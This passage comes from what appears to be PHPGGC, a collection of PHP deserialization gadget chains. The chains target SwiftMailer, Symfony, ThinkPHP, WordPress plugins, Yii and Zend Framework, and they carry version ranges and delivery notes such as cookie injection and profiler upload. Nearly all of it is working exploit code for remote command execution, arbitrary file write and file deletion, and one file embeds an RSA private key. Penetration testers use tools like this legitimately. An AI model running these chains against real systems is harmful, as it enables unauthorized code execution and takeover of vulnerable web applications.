18 $this->_encoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
19 $this->_paramEncoder = new Swift_Mime_HeaderEncoder_Base64HeaderEncoder();
20 $this->_grammar = new Swift_Mime_Grammar();
21 }
22 }
23
24 class Swift_Mime_SimpleHeaderSet
25 {
26 private $_factory;
27
28 function __construct()
29 {
30 $this->_factory = new Swift_Mime_SimpleHeaderFactory();
31 }
32 }
33
34 class Swift_Mime_ContentEncoder_RawContentEncoder
35 {
36
37 }
38
39 class Swift_Mime_SimpleMimeEntity
40 {
41 private $_headers;
42 private $_body;
43 private $_encoder;
44 private $_cache;
45 private $_cacheKey = 'something';
46
47 function __construct($cache, $body)
48 {
49 $this->_cache = $cache;
50 $this->_body = $body;
51 $this->_encoder = new Swift_Mime_ContentEncoder_RawContentEncoder();
52 $this->_headers = new Swift_Mime_SimpleHeaderSet();
53 }
54 }
55
56 class Swift_SignedMessage extends Swift_Mime_SimpleMimeEntity
57 {
58 private $headerSigners = [];
59 private $bodySigners = [];
60 private $savedMessage = [];
61
62 function __construct($headerSigner, $cache, $body)
63 {
64 parent::__construct($cache, $body);
65 $this->headerSigners = [$headerSigner];
66 }
67 }
68
69 class Swift_Signers_DomainKeySigner
70 {
71 protected $_privateKey = <<<EOF
72 -----BEGIN RSA PRIVATE KEY-----
73 MIICXQIBAAKBgQDRpx277bhMnUSga718Dd7P7ZA+23B8kBzqie3hFklaPFL8R18w
74 bVjHU4VHJq1SIrkbaX9MKnuAl4y9VSruQuJtjb9k1mk1CaWgESwK0ViOx9ugoI4B
75 cmEToyO/gCPKAkF69r7Lfy/M0VOxXH58QURCQU3dS3pm5SP8hhy/ag8fowIDAQAB
76 AoGATbKBcoRHKR2fsVQ8hR0e1jBUpPbuWTuPe9xiLGj2BlsU5ioNPQVJQZXSbuwG
77 j8oOj/opEzErVBzWK9TEdEiVYRhcyPc6awiIulZAp928TRsP0+ZjKOTXtgU40GNf
78 BqdaI8oMgSjeB3mbJP9S9ghVmOEN1AArOPBrWKyIEcDq/gECQQD5C0rb1lYqN7Om
79 yx6gYUXW91xs40PCtNI1EVtFVkVb4B3Dsz3tmi93NxgDK+fJLcid3Yx4PF0v1pm6
80 ysBU2vupAkEA14IrToWxTtzcPI9852TJ4A9IA93Y7AppmWzkxp0uPM0tmRIuOpK+
81 foLPtdLcXE7KAtHoHnccpGSQE33clb5wawJBAOYPHXcZd/2F+UqCZudnFHoxhcr8
82 4nKyUWE+iF70BByMW1KWeQXOIjzxwxfi7jq1NZdHu2Sy9q6jgt3AQI3iwQkCQCy0
83 gP1R+H0OjdU2QsfRfZswMFU1ARm98zfzgeW9l2jfezUEs3hNFp0xz5q9Oh8f7QH2
84 vzsKpHNptQWGF2sszS8CQQCMZbkmUguZhj72vvJ33bbugLtjv2AjTQxwAOAZZF+3
85 6P1HpTADFnZQZbGAmjJNT//JEHs6+TTbb1Wjj+mJHbmR
86 -----END RSA PRIVATE KEY-----
87 EOF;
88 private $_bound;
89
90 function __construct($_bound)
91 {
92 $this->_bound = [$_bound];
93 }
94 }
95
96 class Swift_KeyCache_ArrayKeyCache
97 {
98 private $_contents = [];
99 private $_stream;
100
101 function __construct($_stream)
102 {
103 $this->_stream = $_stream;
104 }
105 }
106
107 class Swift_KeyCache_SimpleKeyCacheInputStream
108 {
109 private $_keyCache;
110 private $_nsKey = 'something';
111 private $_itemKey = 'something';
112 private $_writeThrough = null;
113
114 function __construct($_writeThrough)
115 {
116 $this->_keyCache = new Swift_KeyCache_ArrayKeyCache(null);
117 $this->_writeThrough = $_writeThrough;
118 }
119 }
120
121 abstract class Swift_ByteStream_AbstractFilterableInputStream
122 {
123 }
124
125 class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
126 {
127 private $_path;
128 private $_mode = 'w+b';
129
130 function __construct($_path)
131 {
132 $this->_path = $_path;
133 }
134 }
0 <?php
1
2 namespace GadgetChain\SwiftMailer;
3
4 class FW4 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '4.0.0 <= ?';
7 public static $vector = '__destruct';
8 public static $author = 'ronenshh';
9
10 public function process_parameters(array $parameters)
11 {
12 $parameters = parent::process_parameters($parameters);
13
14 # The library appends "QUIT" at the end of the content, so we need to comment it
15 $parameters['data'] .= '//';
16
17 return $parameters;
18 }
19
20 public function generate(array $parameters)
21 {
22 $dispatcher = new \Swift_Events_SimpleEventDispatcher();
23 $byte_stream = new \Swift_ByteStream_FileByteStream($parameters['remote_path'], $parameters['data']);
24 $transport = new \Swift_Transport_SendmailTransport($byte_stream, $dispatcher);
25
26 return $transport;
27 }
28 }
0 <?php
1
2 class Swift_Events_SimpleEventDispatcher
3 {
4 }
5
6 abstract class Swift_Transport_AbstractSmtpTransport
7 {
8 protected $_buffer;
9 protected $_started = true;
10 protected $_eventDispatcher;
11
12 }
13
14 class Swift_Transport_SendmailTransport extends Swift_Transport_AbstractSmtpTransport
15 {
16 function __construct($_buffer, $_eventDispatcher)
17 {
18 $this->_buffer = $_buffer;
19 $this->_eventDispatcher = $_eventDispatcher;
20 }
21 }
22
23 abstract class Swift_ByteStream_AbstractFilterableInputStream
24 {
25 private $_filters = array();
26 private $_writeBuffer;
27
28 function __construct($_writeBuffer)
29 {
30 $this->_writeBuffer = $_writeBuffer;
31 }
32 }
33
34 class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream
35 {
36 private $_path;
37 private $_mode = 'w+b';
38
39 function __construct($_path, $_writeBuffer)
40 {
41 parent::__construct($_writeBuffer);
42 $this->_path = $_path;
43 }
44 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class FW1 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '2.5.2';
7 public static $vector = 'DebugImport';
8 public static $author = 'cf';
9 public static $informations = '
10 This chain is supposed to be uploaded through the /_profiler/import
11 page. It will produce an error but the file will be created in the
12 webroot.
13 ';
14
15 public function generate(array $parameters)
16 {
17 $path = $parameters['remote_path'];
18 $data = $parameters['data'];
19 return new \Symfony\Component\HttpKernel\Profiler\Profile($path, $data);
20 }
21 }
0 <?php
1
2 namespace Symfony\Component\HttpKernel\Profiler
3 {
4 class Profile
5 {
6 private $token;
7 private $collectors = array();
8 private $ip;
9 private $method;
10 private $url;
11 private $time;
12 private $parent;
13 private $children = array();
14
15 function __construct($path, $content)
16 {
17 $this->token = uniqid();
18 $this->ip = new \Symfony\Component\Finder\Expression\Expression(
19 $path, $content
20 );
21 }
22 }
23 }
24
25 namespace Symfony\Component\Finder\Expression
26 {
27 class Expression
28 {
29 private $value;
30
31 function __construct($path, $content)
32 {
33 $this->value = new \Symfony\Component\Console\Helper\Table(
34 $path, $content
35 );
36 }
37 }
38 }
39
40 namespace Symfony\Component\Console\Helper
41 {
42 class Table
43 {
44 private $headers = ['a'];
45 private $rows = [];
46 private $columnWidths = [100];
47 private $numberOfColumns;
48 private $output;
49 private $style;
50 private static $styles;
51
52 function __construct($path, $content)
53 {
54 $this->output = new \Symfony\Component\Config\ConfigCache($path);
55 $this->style = new TableStyle($content);
56 }
57 }
58
59 class TableStyle
60 {
61 private $paddingChar = ' ';
62 private $horizontalBorderChar = '';
63 private $verticalBorderChar;
64 private $crossingChar = '';
65 private $cellHeaderFormat = '<info>%s</info>';
66 private $cellRowFormat = '%s';
67 private $cellRowContentFormat = ' %s ';
68 private $borderFormat = '%s';
69 private $padType = STR_PAD_RIGHT;
70
71 function __construct($verticalBorderChar)
72 {
73 $this->verticalBorderChar = $verticalBorderChar;
74 }
75 }
76 }
77
78 namespace Symfony\Component\Config
79 {
80 class ConfigCache
81 {
82 private $debug;
83 private $file;
84
85 function __construct($file)
86 {
87 $this->file = $file;
88 }
89 }
90 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '3.4';
7 public static $vector = '__destruct';
8 public static $author = 'RicterZ';
9
10 public function generate(array $parameters)
11 {
12 $path = $parameters['remote_path'];
13 $data = $parameters['data'];
14 return new \Symfony\Bridge\PhpUnit\Legacy\SymfonyTestsListenerTrait(
15 $path,
16 $data
17 );
18 }
19 }
0 <?php
1
2 namespace Symfony\Bridge\PhpUnit\Legacy
3 {
4 class SymfonyTestsListenerTrait
5 {
6 private static $globallyEnabled = false;
7 private $state = -1;
8 private $skippedFile = false;
9 private $wasSkipped = array();
10 private $isSkipped = array();
11 private $expectedDeprecations = array();
12 private $gatheredDeprecations = array();
13 private $previousErrorHandler;
14 private $testsWithWarnings;
15 private $reportUselessTests;
16 private $error;
17 private $runsInSeparateProcess = false;
18
19 public function __construct($path, $data)
20 {
21 $this->state = 1;
22 $this->skippedFile = 'php://filter/convert.base64-decode/resource=' . $path;
23 $this->isSkipped = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' . base64_encode($data);
24 }
25 }
26 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '3.3';
7 public static $vector = '__destruct';
8 public static $author = 'cf';
9 public static $informations = 'Executes given command through proc_open()';
10 public static $parameters = [
11 'command'
12 ];
13
14 public function generate(array $parameters)
15 {
16 $command = $parameters['command'];
17
18 return new \Symfony\Component\Cache\Adapter\ApcuAdapter(
19 $command
20 );
21 }
22 }
0 <?php
1
2 namespace Symfony\Component\Cache\Traits
3 {
4 use \Psr\Log\LoggerAwareTrait;
5
6 trait AbstractTrait
7 {
8 use LoggerAwareTrait;
9
10 private $namespace;
11 private $deferred;
12 }
13 }
14
15 namespace Psr\Log
16 {
17 trait LoggerAwareTrait
18 {
19 }
20 }
21
22 namespace Symfony\Component\Cache\Adapter
23 {
24 use \Symfony\Component\Cache\Traits\AbstractTrait;
25
26 abstract class AbstractAdapter
27 {
28 use AbstractTrait;
29
30 private $mergeByLifetime = 'proc_open';
31
32 function __construct($command)
33 {
34 $this->deferred = $command;
35 $this->namespace = [];
36 }
37 }
38
39 class ApcuAdapter extends AbstractAdapter
40 {
41 }
42 }
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '2.3.42 < 2.6';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $informations = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )';
10 public static $parameters = [
11 'code'
12 ];
13
14 public function generate(array $parameters)
15 {
16 $code = $parameters['code'];
17
18 return new \Symfony\Component\Process\ProcessPipes(
19 new \Symfony\Component\Finder\Expression\Expression(
20 new \Symfony\Component\Templating\PhpEngine(
21 new \Symfony\Component\Templating\Storage\StringStorage(
22 $code
23 ))));
24 }
25 }
0 <?php
1
2 namespace Symfony\Component\Templating\Storage{
3 class StringStorage{
4 protected $template = '';
5 public function __construct($code){
6 $this->template = '<?php '.$code.';die(); ?>';
7 }
8 }
9 }
10
11 namespace Symfony\Component\Templating{
12 class TemplateNameParser{}
13 class TemplateReference{}
14 class PhpEngine{
15 protected $parser;
16 protected $cache;
17 protected $current;
18 protected $globals = array();
19 public function __construct($s){
20 $this->parser = new TemplateNameParser;
21 $this->current = new TemplateReference;
22 $this->cache = array(NULL=>$s);
23 }
24 }
25 }
26
27 namespace Symfony\Component\Finder\Expression{
28 class Expression{
29 private $value;
30 public function __construct($p){
31 $this->value = $p;
32 }
33 }
34 }
35
36 namespace Symfony\Component\Process{
37 class ProcessPipes{
38 private $files = array();
39 public function __construct($e){
40 $this->files = array($e);
41 }
42 }
43 }
44
45 ?>
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '2.6 <= 2.8.32';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $informations = 'Executes through eval() ( <?php \'.$code.\';die(); ?> )';
10 public static $parameters = [
11 'code'
12 ];
13
14 public function generate(array $parameters)
15 {
16 $code = $parameters['code'];
17
18 return new \Symfony\Component\Process\Pipes\WindowsPipes(
19 new \Symfony\Component\Finder\Expression\Expression(
20 new \Symfony\Component\Templating\PhpEngine(
21 new \Symfony\Component\Templating\Storage\StringStorage(
22 $code
23 ))));
24 }
25 }
0 <?php
1
2 namespace Symfony\Component\Templating\Storage{
3 class StringStorage{
4 protected $template = '';
5 public function __construct($code){
6 $this->template = '<?php '.$code.';die(); ?>';
7 }
8 }
9 }
10
11 namespace Symfony\Component\Templating{
12 class TemplateNameParser{}
13 class TemplateReference{}
14 class PhpEngine{
15 protected $parser;
16 protected $cache;
17 protected $current;
18 protected $globals = array();
19 public function __construct($s){
20 $this->parser = new TemplateNameParser;
21 $this->current = new TemplateReference;
22 $this->cache = array(NULL=>$s);
23 }
24 }
25 }
26
27 namespace Symfony\Component\Finder\Expression{
28 class Expression{
29 private $value;
30 public function __construct($p){
31 $this->value = $p;
32 }
33 }
34 }
35
36 namespace Symfony\Component\Process\Pipes{
37 class WindowsPipes{
38 private $files = array();
39 public function __construct($e){
40 $this->files = array($e);
41 }
42 }
43 }
44
45 ?>
0 <?php
1
2 namespace GadgetChain\Symfony;
3
4 class RCE4 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '3.4.0-34, 4.2.0-11, 4.3.0-7';
7 public static $vector = '__destruct';
8 public static $author = 'wisdomtree';
9 public static $informations = 'Execute $function with $parameter (CVE-2019-18889)';
10 public static $parameters = [
11 'function',
12 'parameter'
13 ];
14
15 public function generate(array $parameters)
16 {
17 $function = $parameters['function'];
18 $parameter = $parameters['parameter'];
19
20 return new \Symfony\Component\Cache\Adapter\TagAwareAdapter(array(
21 new \Symfony\Component\Cache\CacheItem(1, $parameter)),
22 new \Symfony\Component\Cache\Adapter\ProxyAdapter(1 , $function));
23 }
24 }
25
26 ?>
0 <?php
1
2 namespace Symfony\Component\Cache {
3
4 final class CacheItem
5 {
6 protected $poolHash ;
7 protected $innerItem;
8 public function __construct($poolHash, $parameter)
9 {
10 $this-> poolHash = $poolHash;
11 $this-> innerItem = $parameter;
12 }
13 }
14 }
15
16 namespace Symfony\Component\Cache\Adapter {
17
18 class ProxyAdapter
19 {
20 private $poolHash ;
21 private $setInnerItem;
22 public function __construct($poolHash, $function)
23 {
24 $this-> poolHash = $poolHash;
25 $this-> setInnerItem = $function;
26 }
27 }
28
29 class TagAwareAdapter
30 {
31 private $deferred = [];
32 private $pool;
33 public function __construct($deferred, $pool)
34 {
35 $this-> deferred = $deferred;
36 $this-> pool = $pool;
37 }
38 }
39 }
40
41 ?>
0 <?php
1
2 namespace GadgetChain\ThinkPHP;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '5.1.x-5.2.x';
7 public static $vector = '__destruct';
8 public static $author = 'Smi1e';
9 public static $informations = '
10 This chain can only execute system().
11 Because the second parameter is uncontrollable
12 ';
13 public function generate(array $parameters)
14 {
15 $function = $parameters['function'];
16 $parameter = $parameters['parameter'];
17 $Conver = new \think\model\Pivot($parameter);
18 return new \think\process\pipes\Windows($Conver);
19 }
20 }
0 <?php
1 namespace think\process\pipes {
2 class Windows
3 {
4 private $files;
5 public function __construct($files)
6 {
7 $this->files = array($files);
8 }
9 }
10 }
11
12 namespace think\model\concern {
13 trait Conversion
14 {
15 protected $append = array("Smi1e" => "1");
16 }
17
18 trait Attribute
19 {
20 private $data;
21 private $withAttr = array("Smi1e" => "system");
22
23 public function get($system)
24 {
25 $this->data = array("Smi1e" => "$system");
26 }
27 }
28 }
29 namespace think {
30 abstract class Model
31 {
32 use model\concern\Attribute;
33 use model\concern\Conversion;
34 }
35 }
36
37 namespace think\model{
38 use think\Model;
39 class Pivot extends Model
40 {
41 public function __construct($system)
42 {
43 $this->get($system);
44 }
45 }
46 }
0 <?php
1
2 namespace GadgetChain\WordPress\Guzzle;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '4.0.0 <= 6.4.1+';
7 public static $vector = '__toString';
8 public static $author = 'erwan_lr';
9 public static $informations = 'Tested up to WP 5.2.4 and Guzzle 6.4.1. Newest versions might also work.';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \GuzzleHttp\Cookie\SetCookie(
17 new \Requests_Utility_FilteredIterator(['Name' => $parameter, 'Value' => ''], $function)
18 );
19 }
20 }
0 <?php
1
2 namespace
3 {
4 require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php');
5 }
6
7 namespace GuzzleHttp\Cookie
8 {
9 class SetCookie
10 {
11 private $data;
12
13 public function __construct($data)
14 {
15 $this->data = $data;
16 }
17
18 /*
19 public function __toString()
20 {
21 $str = $this->data['Name'] . '=' . $this->data['Value'] . '; ';
22 foreach ($this->data as $k => $v) {
23 if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== false) {
24 if ($k === 'Expires') {
25 $str .= 'Expires=' . gmdate('D, d M Y H:i:s \G\M\T', $v) . '; ';
26 } else {
27 $str .= ($v === true ? $k : "{$k}={$v}") . '; ';
28 }
29 }
30 }
31 return rtrim($str, '; ');
32 }
33 */
34 }
35 }
0 <?php
1
2 namespace GadgetChain\WordPress\Guzzle;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '4.0.0 <= 6.4.1+';
7 public static $vector = '__destruct';
8 public static $author = 'Kevinlpd';
9 public static $informations = 'Tested up to WP 5.2.4 and Guzzle 6.4.1. Newest versions might also work.';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 $g = new \GuzzleHttp\Cookie\SetCookie(
17 new \Requests_Utility_FilteredIterator(['Name' => $parameter, 'Value' => ''], $function)
18 );
19
20 return new \GuzzleHttp\Cookie\FileCookieJar($g);
21 }
22 }
0 <?php
1
2 namespace
3 {
4 require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php');
5 }
6
7 namespace GuzzleHttp\Cookie
8 {
9 class SetCookie
10 {
11 private $data;
12
13 public function __construct($data)
14 {
15 $this->data = $data;
16 }
17
18 /*
19
20 public function __toString()
21 {
22 $str = $this->data['Name'] . '=' . $this->data['Value'] . '; ';
23 foreach ($this->data as $k => $v) {
24 if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== false) {
25 if ($k === 'Expires') {
26 $str .= 'Expires=' . gmdate('D, d M Y H:i:s \G\M\T', $v) . '; ';
27 } else {
28 $str .= ($v === true ? $k : "{$k}={$v}") . '; ';
29 }
30 }
31 }
32 return rtrim($str, '; ');
33 }
34
35 */
36 }
37 class FileCookieJar
38 {
39 private $filename;
40
41 public function __construct($cookieFile, $storeSessionCookies = \false)
42 {
43 $this->filename = $cookieFile;
44 }
45
46 /*
47
48 public function __destruct()
49 {
50 $this->save($this->filename);
51 }
52
53 public function save($filename)
54 {
55 $json = [];
56 foreach ($this as $cookie) {
57 if (\GuzzleHttp\Cookie\CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
58 $json[] = $cookie->toArray();
59 }
60 }
61 $jsonStr = \GuzzleHttp\json_encode($json);
62 if (\false === \file_put_contents($filename, $jsonStr)) {
63 throw new \RuntimeException("Unable to save file {$filename}");
64 }
65 }
66
67 */
68 }
69
70 }
0 <?php
1
2 namespace GadgetChain\WordPress\P\WooCommerce;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '3.4.0 <= 3.6.2+';
7 public static $vector = '__destruct';
8 public static $author = 'erwan_lr';
9 public static $informations = '
10 Demonstrated at BSide Manchester: https://www.youtube.com/watch?v=GePBmsNJw6Y&t=1763
11 Tested up to WP 5.2 and WooCommerce 3.6.2 activated (but not configured). Newest versions might also work.
12 ';
13
14 public function generate(array $parameters)
15 {
16 $function = $parameters['function'];
17 $parameter = $parameters['parameter'];
18
19 return new \WC_Log_Handler_File(new \Requests_Utility_FilteredIterator([$parameter], $function));
20 }
21 }
0 <?php
1
2 require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php');
3
4 // WooCommerce - https://plugins.trac.wordpress.org/browser/woocommerce/trunk/includes/log-handlers/class-wc-log-handler-file.php
5 class WC_Log_Handler_File {
6 protected $handles = array();
7
8 // Custom constructor to set the $handles more easily
9 public function __construct($handles) {
10 $this->handles = $handles;
11 }
12
13 /*
14 public function __destruct() {
15 foreach ( $this->handles as $handle ) {
16 if ( is_resource( $handle ) ) {
17 fclose( $handle ); // @codingStandardsIgnoreLine.
18 }
19 }
20 }
21 */
22 }
0 <?php
1
2 namespace GadgetChain\WordPress\P\YetAnotherStarsRating;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '? <= 1.8.6';
7 public static $vector = '__destruct';
8 public static $author = 'erwan_lr';
9 public static $informations = 'Paylaod has to be in the COOKIE yasr_visitor_vote_cookie in a page containing the shortcode of the plugin allowing visitor ratings';
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $parameter = $parameters['parameter'];
15
16 return new \Requests_Utility_FilteredIterator([$parameter], $function);
17 }
18 }
0 <?php
1
2 require_once(DIR_GADGETCHAINS . '/WordPress/generic/gadgets.php');
3
4 // https://plugins.trac.wordpress.org/browser/yet-another-stars-rating/tags/1.8.6/lib/yasr-shortcode-functions.php#L169
5 /*
6 function shortcode_visitor_votes_callback ($atts) {
7 [SNIPPED]
8
9 //name of cookie to check
10 $yasr_cookiename = 'yasr_visitor_vote_cookie';
11
12 if (isset($_COOKIE[$yasr_cookiename])) {
13
14 $cookie_data = stripslashes($_COOKIE[$yasr_cookiename]);
15 $cookie_data = unserialize($cookie_data);
16
17 foreach ($cookie_data as $value) {
18
19 [SNIPPED]
20 */
0 <?php
1
2 /*
3 Some notes about how WordPress processes stuff, hopeful saving you some sanity when trying Gadgets.
4
5 In the Front-end, when WordPress is loaded, all $_GET and $_POST
6 are passed through add_magic_quotes() [1] which will then call addslashes() [2]. So if the payload is retrieved from
7 $_GET/$_POST/$_REQUEST/get_query_var while WordPress is loaded, it will be escaped, leading to an Offset error when unserialized.
8 This should be a rare case, as it would mean that the code of the plugin/theme would not even work with legitimate and harmless serialized data. Workarounds seen done by plugin/theme creators to avoid that: base64_decode()/stripslashes()/wp_unslash() the query var/s.
9
10 [1] https://github.com/WordPress/WordPress/blob/52354f3f0b7f2b6e53d6ca3578942d5940f84048/wp-includes/load.php#L917
11 [2] https://github.com/WordPress/WordPress/blob/643ec358a40faba739266f11c34990c142f02d98/wp-includes/functions.php#L1057
12 */
13
14 // WordPress - https://github.com/WordPress/WordPress/blob/6fd8080e7ee7599b36d4528f72a8ced612130b8c/wp-includes/Requests/Utility/FilteredIterator.php
15 class Requests_Utility_FilteredIterator extends ArrayIterator {
16 protected $callback;
17
18 public function __construct($data, $callback) {
19 parent::__construct($data);
20 $this->callback = $callback;
21 }
22
23 /*
24 public function current() {
25 $value = parent::current();
26 $value = call_user_func($this->callback, $value);
27 return $value;
28 }
29 */
30 }
0 <?php
1
2 namespace GadgetChain\Yii;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '1.1.20';
7 public static $vector = '__wakeup';
8 public static $author = 'cf';
9 public static $informations = '
10 As the payload uses file_get_contents("data://..."), allow_url_fopen
11 must be ON.
12 ';
13
14 public function generate(array $parameters)
15 {
16 // When hitting the file cache, our data:// wrapper will be fetched,
17 // and it will be unserialized with assert().
18 $function = $parameters['function'];
19 $parameter = $parameters['parameter'];
20 $parameter = '9999999999' . $parameter;
21 $parameter = base64_encode($parameter);
22
23 $a = new \CFileCache($function, $parameter);
24 $b = new \CMapIterator($a);
25 $c = new \CDbCriteria($b);
26
27 return $c;
28 }
29 }
0 <?php
1
2 class CMapIterator
3 {
4 private $_d;
5 private $_keys = [0];
6 private $_key = 0;
7
8 function __construct($_d)
9 {
10 $this->_d = $_d;
11 }
12 }
13
14 class CDbCriteria
15 {
16 function __construct($params)
17 {
18 $this->params = $params;
19 }
20 }
21
22 class CFileCache
23 {
24 public $keyPrefix = '';
25 public $hashKey = false;
26 public $serializer;
27
28 public $cachePath = 'data:text/';
29 public $directoryLevel = 0;
30 public $embedExpiry = true;
31 public $cacheFileSuffix;
32
33 function __construct($function, $cacheFileSuffix)
34 {
35 $this->serializer = [1 => $function];
36 $this->cacheFileSuffix = ';base64,' . $cacheFileSuffix;
37 }
38 }
0 <?php
1
2 namespace GadgetChain\ZendFramework;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '? <= 1.12.20';
7 public static $vector = '__destruct';
8 public static $author = 'mpchadwick';
9 public static $parameters = [
10 'remote_file'
11 ];
12
13 public function generate(array $parameters)
14 {
15 $file = $parameters['remote_file'];
16
17 return new \Zend_Http_Response_Stream(
18 true,
19 $file
20 );
21 }
22 }
0 <?php
1
2 class Zend_Http_Response_Stream
3 {
4 protected $_cleanup;
5 protected $stream_name;
6
7 public function __construct(
8 $cleanup,
9 $stream_name
10 ) {
11 $this->_cleanup = $cleanup;
12 $this->stream_name = $stream_name;
13 }
14
15 }
0 <?php
1
2 namespace GadgetChain\ZendFramework;
3
4 // Original author: Stefan Esser (2010)
5 // https://www.owasp.org/images/9/9e/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf
6 class RCE1 extends \PHPGGC\GadgetChain\RCE
7 {
8 public static $version = '? <= 1.12.20';
9 public static $vector = '__destruct';
10 public static $author = 'mpchadwick'; # GC Implementation
11 public static $informations = '
12 - Uses preg_replace e modifier which has no effect in PHP >= 7.0.0
13 - Payload gets executed twice
14 ';
15 public static $parameters = [
16 'code'
17 ];
18
19 public function generate(array $parameters)
20 {
21 $code = $parameters['code'];
22
23 return new \Zend_Log(
24 [new \Zend_Log_Writer_Mail(
25 [1],
26 [],
27 new \Zend_Mail,
28 new \Zend_Layout(
29 new \Zend_Filter_PregReplace(
30 "/(.*)/e",
31 $code
32 ),
33 true,
34 "layout"
35 )
36 )]
37 );
38 }
39 }
0 <?php
1
2 class Zend_Log
3 {
4 protected $_writers;
5
6 function __construct($x)
7 {
8 $this->_writers = $x;
9 }
10 }
11
12 class Zend_Log_Writer_Mail
13 {
14 protected $_eventsToMail;
15 protected $_layoutEventsToMail;
16 protected $_mail;
17 protected $_layout;
18 protected $_subjectPrependText;
19
20 public function __construct(
21 $eventsToMail,
22 $layoutEventsToMail,
23 $mail,
24 $layout
25 ) {
26 $this->_eventsToMail = $eventsToMail;
27 $this->_layoutEventsToMail = $layoutEventsToMail;
28 $this->_mail = $mail;
29 $this->_layout = $layout;
30 $this->_subjectPrependText = null;
31 }
32 }
33
34 class Zend_Mail
35 {}
36
37 class Zend_Layout
38 {
39 protected $_inflector;
40 protected $_inflectorEnabled;
41 protected $_layout;
42
43 public function __construct(
44 $inflector,
45 $inflectorEnabled,
46 $layout
47 ) {
48 $this->_inflector = $inflector;
49 $this->_inflectorEnabled = $inflectorEnabled;
50 $this->_layout = $layout;
51 }
52 }
53
54 class Zend_Filter_PregReplace
55 {
56 protected $_matchPattern;
57 protected $_replacement;
58
59 public function __construct(
60 $matchPattern,
61 $replacement
62 ) {
63 $this->_matchPattern = $matchPattern;
64 $this->_replacement = $replacement;
65 }
66 }
0 <?php
1
2 namespace GadgetChain\ZendFramework;
3
4 class RCE2 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '1.11.12 <= 1.12.20';
7 public static $vector = '__toString';
8 public static $author = 'cf';
9 public static $informations = '
10 Uses zf1/zend-form, which requires zf1/zend-cache.
11 ';
12
13 public function generate(array $parameters)
14 {
15 $a = new \Zend_Cache_Frontend_Function();
16 $b = new \Zend_Form_Decorator_Form();
17 $c = new \Zend_Form_Element(
18 $parameters['function'],
19 $parameters['parameter'],
20 [$b],
21 $a
22 );
23 return $c;
24 }
25 }
0 <?php
1
2 class Zend_Form_Element
3 {
4 protected $_name;
5 protected $_decorators = array();
6 protected $_view;
7 public $id;
8
9 public $helper = 'formText';
10 protected $_allowEmpty = true;
11 protected $_autoInsertNotEmptyValidator = true;
12 protected $_belongsTo;
13 protected $_description;
14 protected $_disableLoadDefaultDecorators = false;
15 protected $_errorMessages = array();
16 protected $_errors = array();
17 protected $_errorMessageSeparator = '; ';
18 protected $_filters = array();
19 protected $_ignore = false;
20 protected $_isArray = false;
21 protected $_isError = false;
22 protected $_isErrorForced = false;
23 protected $_label;
24 protected $_loaders = array();
25 protected $_messages = array();
26 protected $_order;
27 protected $_required = false;
28 protected $_translator;
29 protected $_translatorDisabled = false;
30 protected $_type;
31 protected $_validators = array();
32 protected $_validatorRules = array();
33 protected $_value;
34 protected $_isPartialRendering = false;
35 protected $_concatJustValuesInErrorMessage = false;
36
37 function __construct($_name, $id, $_decorators, $_view)
38 {
39 $this->_name = $_name;
40 $this->id = $id;
41 $this->_decorators = $_decorators;
42 $this->_view = $_view;
43 }
44 }
45
46 class Zend_Form_Decorator_Form extends Zend_Form_Decorator_Abstract
47 {
48 protected $_helper = 'call';
49 }
50
51 abstract class Zend_Form_Decorator_Abstract
52 {
53 protected $_placement = 'APPEND';
54 protected $_element;
55 protected $_options = array();
56 protected $_separator = PHP_EOL;
57 }
58
59 class Zend_Cache_Frontend_Function
60 {
61 protected $_specificOptions = array(
62 'cache_by_default' => false,
63 'cached_functions' => array(),
64 'non_cached_functions' => array()
65 );
66 }
0 <?php
1
2 namespace GadgetChain\ZendFramework;
3
4 class RCE3 extends \PHPGGC\GadgetChain\RCE
5 {
6 public static $version = '2.0.1 <= ?';
7 public static $vector = '__destruct';
8 public static $author = 'eboda';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters["function"];
